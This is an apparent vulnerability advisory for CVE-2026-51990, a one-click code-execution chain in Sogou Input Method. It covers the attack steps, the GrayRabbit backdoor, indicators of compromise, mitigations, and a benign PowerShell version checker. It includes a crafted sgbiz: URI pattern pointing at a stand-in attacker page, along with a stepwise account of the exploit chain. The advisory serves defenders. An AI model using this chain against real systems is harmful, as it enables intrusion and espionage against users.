Your keyboard helper has a six-year-old browser engine with no locks on the doors, and someone already walked in
CVE-2026-51990 is a remote code execution vulnerability in Tencent's Sogou Input Method for Windows, affecting all versions prior to 16.3.0.3498. The flaw chains three weaknesses: (1) unvalidated command-line argument injection in the sgbiz: custom URI protocol handler (biz_helper.exe), (2) unrestricted URL navigation in a CEF-based webview that accepts any scheme with no domain allowlist, and (3) an embedded Chromium 80 engine (March 2020 vintage) running with sandbox explicitly disabled and same-origin policy turned off. A single click on a crafted sgbiz: link triggers biz_helper.exe → SGMyInput.exe → SGWebRender.exe, which loads an attacker-controlled webpage in the unsandboxed browser. The attacker then exploits CVE-2021-38003 (a V8 type confusion in JSON.stringify) to achieve arbitrary code execution, downloads a legitimate 7-Zip binary alongside a trojanized DLL, and sideloads the GrayRabbit backdoor. Sogou Input Method commands roughly 55% of China's third-party input method market — hundreds of millions of Windows installations.
No vendor CVSS score has been published. Given the 1-click attack surface, the active in-the-wild exploitation by UNC3569 (a PRC-nexus espionage group), and the fact that the patch only addresses the protocol handler without fixing the underlying unsandboxed Chromium engine, this vulnerability warrants a HIGH assessment at 8.0. It falls short of CRITICAL because (a) it requires user interaction (clicking a link), (b) the blast radius is limited to the host where Sogou is installed, (c) the affected software is a desktop IME — not infrastructure — so it does not occupy a high-value role that would trigger the CRITICAL floor, and (d) in Western enterprise environments the installed base is narrow. However, for any organization with Chinese-language workstations, this is an urgent priority.
5 steps from start to impact.
Deliver crafted sgbiz: URI
sgbiz:sg_process?module=sgmyinput.exe¶m=... link. The param value URL-encodes a -page=skincenter -url=https://attacker.tld/payload.html argument string. No special tooling is required — the link is a standard URI. UNC3569 campaigns used links pointing to noht1ng[.]top.- Target has Sogou Input Method installed
- Target's OS has the sgbiz: protocol handler registered
- Attacker can deliver a link to the target (email, IM, web)
- Standard email gateway / URL filtering may flag unknown domains
- Link requires the user to actively click — no drive-by
sgbiz: scheme in message bodies. EDR process telemetry will show biz_helper.exe spawning with attacker-controlled arguments.Protocol handler launches unsandboxed browser
sgbiz: URI to biz_helper.exe, which validates the module parameter but passes param directly — after a single URL decode — as command-line arguments to SGMyInput.exe. The skincenter page creates a CEF webview using -url with zero validation: no scheme check, no domain allowlist. The webview initializes SGWebRender.exe backed by Chromium 80 with no_sandbox=TRUE and disable-web-security hardcoded.- Step 1 succeeded — user clicked the link
- Sogou version < 16.3.0.3498
- Application control (WDAC/AppLocker) policies blocking unsigned child processes from Sogou directory would break the chain
- Host-based firewall blocking outbound from SGWebRender.exe stops payload fetch
SGWebRender.exe or SGMyInput.exe launching with a -url parameter pointing to a non-Sogou/non-Tencent domain.V8 type confusion exploit fires
JSON.stringify affecting Chrome < 95. In the unsandboxed Chromium 80 context, this yields arbitrary read/write on the heap. The exploit locates WebAssembly instances backed by RWX memory pages, overwrites executable pages with shellcode, and jumps into it — achieving native code execution as the current user with no additional privilege escalation required.- Step 2 succeeded — attacker page loaded in unsandboxed Chromium 80
- No browser-level exploit mitigations (sandbox is off, SOP is off)
- Exploit is for a specific V8 version — Chromium 80's V8 must be compatible with the PoC (it is, since the bug predates Chrome 95)
- Network-layer TLS inspection may detect or block the exploit page
Shellcode downloads and sideloads GrayRabbit
8.218.50[.]207 on Alibaba Cloud HK): a legitimate 7z.exe, a trojanized 7zp.dll (saved as 7z.dll), and an encrypted payload p. These are written to C:\Users\Public\Documents\. The legitimate 7-Zip binary sideloads the malicious DLL, which performs anti-sandbox checks (process count > 50), XOR-decrypts the payload, and reflectively loads core.dll (GrayRabbit) via thread pool execution.- Step 3 succeeded — shellcode is running
- Outbound connectivity to staging server on port 443
- Application control would block execution of unsigned binaries from Public\Documents
- EDR DLL sideloading detection should flag 7z.exe loading a non-standard 7z.dll
- Anti-sandbox gate (process count < 50) may prevent detonation in thin VDI images
29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 for the trojanized loader.GrayRabbit establishes C2
core.dll) beacons to mail.uaiubifas[.]top over TCP port 443 using RC4 encryption (static key m5b1u3) in 0x1000-byte frames. It supports 10 commands: silent process execution, interactive reverse shell, file upload, system enumeration (hostname, username, IPv4, PID), reflective plugin loading, and self-termination. The plugin architecture allows the operator to extend capabilities at runtime without touching disk.- Step 4 succeeded — GrayRabbit loaded in memory
- Outbound TCP 443 to C2 domain resolves and is reachable
- DNS sinkholing or blocking of known IOC domains stops C2
- Network monitoring for TCP 443 traffic without valid TLS handshake is a strong detection signal
- Endpoint isolation post-detection severs the channel
mail.uaiubifas[.]top and noht1ng[.]top. Snort/Suricata rules for RC4-framed non-TLS traffic on 443.HKCR\sgbiz and HKCU\Software\Classes\sgbiz registry keys to sever the attack's entry point. This breaks Sogou's built-in skin marketplace and promotional features but does not affect core typing functionality. Deploy within 30 days per the noisgate mitigation SLA for HIGH severity.C:\Users\Public\Documents\ and restrict SGWebRender.exe from spawning child processes. This breaks the DLL sideloading step even if the protocol handler is exploited. Deploy within 30 days.noht1ng[.]top, mail.uaiubifas[.]top, and 8.218.50[.]207 at the DNS resolver and egress firewall. This disrupts both exploit delivery and C2 for the known UNC3569 campaign. Deploy immediately.SGWebRender.exe, biz_helper.exe, and SGMyInput.exe to Tencent/Sogou CDN domains only. This prevents the embedded browser from reaching attacker infrastructure.- Network-level TLS inspection alone — the V8 exploit payload is delivered over HTTPS and may be obfuscated; inspection engines are unlikely to detect the JavaScript exploit reliably without specific signatures.
- Patching to 16.3.0.3498 without additional controls — while the patch blocks the known attack vector, the underlying Chromium 80 engine remains unsandboxed with web-security disabled. A domain allowlist bypass or a new
-urlinjection vector reopens the chain. Treat the patch as necessary but insufficient. - Antivirus signature-only detection — GrayRabbit uses reflective PE loading and NTFS alternate data streams for self-deletion; traditional file-based AV will miss the in-memory payload.
The supporting signals.
| In-the-Wild Exploitation | Active. UNC3569 (PRC-nexus espionage group, per Google Threat Intelligence) observed deploying GrayRabbit backdoor against government, education, technology, and finance targets in East and Southeast Asia. |
|---|---|
| Proof of Concept | No standalone public PoC for the Sogou protocol handler chain. The V8 component leverages the well-known CVE-2021-38003 PoC (STAR Labs). The full weaponized chain was documented by Gen Threat Labs with a sample sgbiz: URI. |
| EPSS | Not yet scored by FIRST (CVE published September 10, 2026). Given active exploitation, expect rapid climb once indexed. |
| KEV Status | Not listed as of 2026-09-16. CISA KEV coverage of non-US-centric consumer software is historically limited. |
| CVSS Vector (noisgate estimate) | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — Network-reachable, low complexity, no privileges required, user interaction required (click), high CIA impact. Estimated 8.8 on the vendor scale; noisgate adjusts to 8.0 accounting for required social engineering and narrow enterprise footprint. |
| Affected Versions | Sogou Input Method for Windows < 16.3.0.3498. All prior versions ship with the vulnerable biz_helper.exe protocol handler and unsandboxed Chromium 80. |
| Fixed Version | 16.3.0.3498 (released April 21, 2026 via auto-update). Patch restricts -url / -firsturl switches to HTTPS and four approved domains (sogou.com, qq.com, woa.com, sogou). Does NOT re-enable sandbox or update Chromium. |
| Scanning / Exposure Data | Sogou Input Method holds ~55% of China's third-party IME market. Estimated 500M+ Windows installations. Enterprise exposure outside Greater China is low but non-zero — any org with Chinese-language workstations or subsidiaries in APAC should assume exposure. |
| Disclosure Timeline | 2026-04-09: Gen Threat Labs reports to Tencent. 2026-04-21: Tencent ships v16.3.0.3498. 2026-09-10: Gen Threat Labs publishes full technical writeup. 2026-09-14: SecurityWeek / BleepingComputer coverage. |
| Reporting Researcher | Gen Threat Labs (discovery and full chain analysis). Google Threat Intelligence (UNC3569 attribution and campaign tracking). |
Sources.
- Gen Threat Labs — Full Technical Writeup
- BleepingComputer — GrayRabbit Campaign Coverage
- SecurityWeek — Chinese Hackers Exploit Tencent Flaw
- The Hacker News — UNC3569 Sogou Exploitation
- Security Online — CVE-2026-51990 Exploited in the Wild
- Security Arsenal — Detection and Remediation Guide
- Rescana — Targeted Attack Analysis
Why this verdict
- Active APT exploitation: UNC3569 is using this in live espionage campaigns targeting government, education, tech, and finance in East/Southeast Asia — this is not theoretical.
- 1-click, no-auth RCE: The chain requires only that a user click a link. No authentication, no prior access, no elevated privileges. Attack complexity is low once the link is delivered.
- Massive consumer install base: ~500M+ Windows installations in China. For any enterprise with APAC operations, Chinese-language subsidiaries, or a diaspora workforce, Sogou is likely present on workstations.
- Incomplete patch: Version 16.3.0.3498 addresses the protocol handler input validation but leaves the unsandboxed Chromium 80 engine intact — future bypasses against the domain allowlist or new V8 exploits remain viable.
- Role multiplier: Sogou IME runs on end-user workstations (low-value role). It is not a domain controller, hypervisor, identity provider, or infrastructure component. The chain ends at host-level code execution as the logged-in user. Lateral movement to high-value targets requires additional post-exploitation steps outside this CVE's scope. The worst plausible outcome is workstation compromise → credential theft → pivot, but that second hop is not intrinsic to this vulnerability. No high-value role floor applies.
Why not higher?
The vulnerability requires user interaction — the target must click a crafted link, which introduces a social-engineering dependency that prevents fully autonomous exploitation. Sogou IME is a desktop application, not a high-value infrastructure component (not a DC, hypervisor, IdP, or network edge device), so the blast radius is limited to the individual host. The CRITICAL floor does not trigger because the affected component does not canonically occupy a high-value role.
Why not lower?
Active exploitation by a resourced APT group with a documented backdoor deployment pipeline eliminates any argument for MEDIUM or below. The 1-click attack surface with no authentication requirement and the enormous install base (500M+ in China) mean the friction is genuinely low for targeted campaigns. The incomplete nature of the patch — Chromium 80 remains unsandboxed — means the fix is fragile and future exploitation variants are likely.
Crowdsourced verification payload.
Run on each Windows host where Sogou may be installed. Execute in an elevated PowerShell session: powershell -ExecutionPolicy Bypass -File .\Check-CVE-2026-51990.ps1. Requires read access to the filesystem and registry.
# Check-CVE-2026-51990.ps1
# Checks whether Sogou Input Method is installed and vulnerable to CVE-2026-51990
# Output: VULNERABLE / PATCHED / UNKNOWN
# Exit codes: 1 = VULNERABLE, 0 = PATCHED, 2 = UNKNOWN
$ErrorActionPreference = 'SilentlyContinue'
$found = $false
$vulnVersion = [version]'16.3.0.3498'
# Check common install paths
$sogouPaths = @(
"$env:ProgramFiles\SogouInput",
"${env:ProgramFiles(x86)}\SogouInput",
"$env:LOCALAPPDATA\SogouInput"
)
foreach ($basePath in $sogouPaths) {
$bizHelper = Get-ChildItem -Path $basePath -Filter 'biz_helper.exe' -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1
if ($bizHelper) {
$found = $true
$fileVersion = [version]$bizHelper.VersionInfo.FileVersion
Write-Host "[*] Found Sogou biz_helper.exe at: $($bizHelper.FullName)"
Write-Host "[*] File version: $fileVersion"
if ($fileVersion -lt $vulnVersion) {
Write-Host "[!] VULNERABLE - Version $fileVersion is below patched version $vulnVersion"
# Also check for sgbiz protocol handler
$proto = Get-ItemProperty -Path 'Registry::HKEY_CLASSES_ROOT\sgbiz' -ErrorAction SilentlyContinue
if ($proto) {
Write-Host "[!] sgbiz: protocol handler is registered - attack surface is active"
}
exit 1
} else {
Write-Host "[+] PATCHED - Version $fileVersion meets or exceeds $vulnVersion"
exit 0
}
}
}
# Fallback: check registry for sgbiz handler even without finding the binary
$proto = Get-ItemProperty -Path 'Registry::HKEY_CLASSES_ROOT\sgbiz' -ErrorAction SilentlyContinue
if ($proto) {
Write-Host "[?] sgbiz: protocol handler found but biz_helper.exe not located in standard paths"
Write-Host "[?] UNKNOWN - manual inspection required"
exit 2
}
if (-not $found) {
Write-Host "[+] Sogou Input Method not detected on this host"
Write-Host "[+] PATCHED (not applicable)"
exit 0
}